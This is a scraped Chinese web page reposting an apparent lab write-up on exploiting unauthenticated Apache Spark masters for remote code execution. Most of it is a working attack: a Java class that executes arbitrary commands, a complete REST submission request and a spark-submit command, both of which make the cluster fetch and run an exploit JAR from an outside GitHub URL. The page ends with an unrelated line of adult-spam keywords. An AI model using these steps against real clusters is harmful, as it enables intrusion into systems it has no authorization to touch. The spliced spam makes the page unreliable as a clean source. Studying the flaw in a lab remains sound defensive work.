<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Spark 未授權訪問漏洞

    Path spark/unacc

    Apache Spark是一款集群計算系統,其支持用戶向管理節點提交應用,并分發給集群執行。如果管理節點未啟動ACL(訪問控制),我們將可以在集群中執行任意代碼。

    參考鏈接:

    漏洞環境

    執行如下命令,將以standalone模式啟動一個Apache Spark集群,集群里有一個master與一個slave:

    docker-compose up -d

    環境啟動后,訪問http://your-ip:8080即可看到master的管理頁面,訪問http://your-ip:8081即可看到slave的管理頁面。

    漏洞利用

    該漏洞本質是未授權的用戶可以向管理節點提交一個應用,這個應用實際上是惡意代碼。

    提交方式有兩種:

    1. 利用REST API
    2. 利用submissions網關(集成在7077端口中)

    應用可以是Java或Python,就是一個最簡單的類,如(參考鏈接1):

    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Exploit {
      public static void main(String[] args) throws Exception {
        String[] cmds = args[0].split(",");
    
        for (String cmd : cmds) {
          System.out.println(cmd);
          System.out.println(executeCommand(cmd.trim()));
          System.out.println("==============================================");
        }
      }
    
      // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
      private static String executeCommand(String command) {
        StringBuilder output = new StringBuilder();
    
        try {
          Process p = Runtime.getRuntime().exec(command);
          p.waitFor();
          BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    
          String line;
          while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
          }
        } catch (Exception e) {
          e.printStackTrace();
        }
    
        return output.toString();
      }
    }

    將其編譯成JAR,放在任意一個HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

    用REST API方式提交應用

    standalone模式下,master將在6066端口啟動一個HTTP服務器,我們向這個端口提交REST格式的API:

    POST /v1/submissions/create HTTP/1.1
    Host: your-ip:6066
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Content-Type: application/json
    Connection: close
    Content-Length: 680
    
    {
      "action": "CreateSubmissionRequest",
      "clientSparkVersion": "2.3.1",
      "appArgs": [
        "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
      ],
      "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
      "environmentVariables": {
        "SPARK_ENV_LOADED": "1"
      },
      "mainClass": "Exploit",
      "sparkProperties": {
        "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
        "spark.driver.supervise": "false",
        "spark.app.name": "Exploit",
        "spark.eventLog.enabled": "true",
        "spark.submit.deployMode": "cluster",
        "spark.master": "spark://your-ip:6066"
      }
    }

    其中,spark.jars即是編譯好的應用,mainClass是待運行的類,appArgs是傳給應用的參數。

    返回的包中有submissionId,然后訪問http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看執行結果:

    注意,提交應用是在master中,查看結果是在具體執行這個應用的slave里(默認8081端口)。實戰中,由于slave可能有多個。

    利用submissions網關

    如果6066端口不能訪問,或做了權限控制,我們可以利用master的主端口7077,來提交應用。

    方法是利用Apache Spark自帶的腳本bin/spark-submit

    bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

    如果你指定的master參數是rest服務器,這個腳本會先嘗試使用rest api來提交應用;如果發現不是rest服務器,則會降級到使用submission gateway來提交應用。

    查看結果的方式與前面一致。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类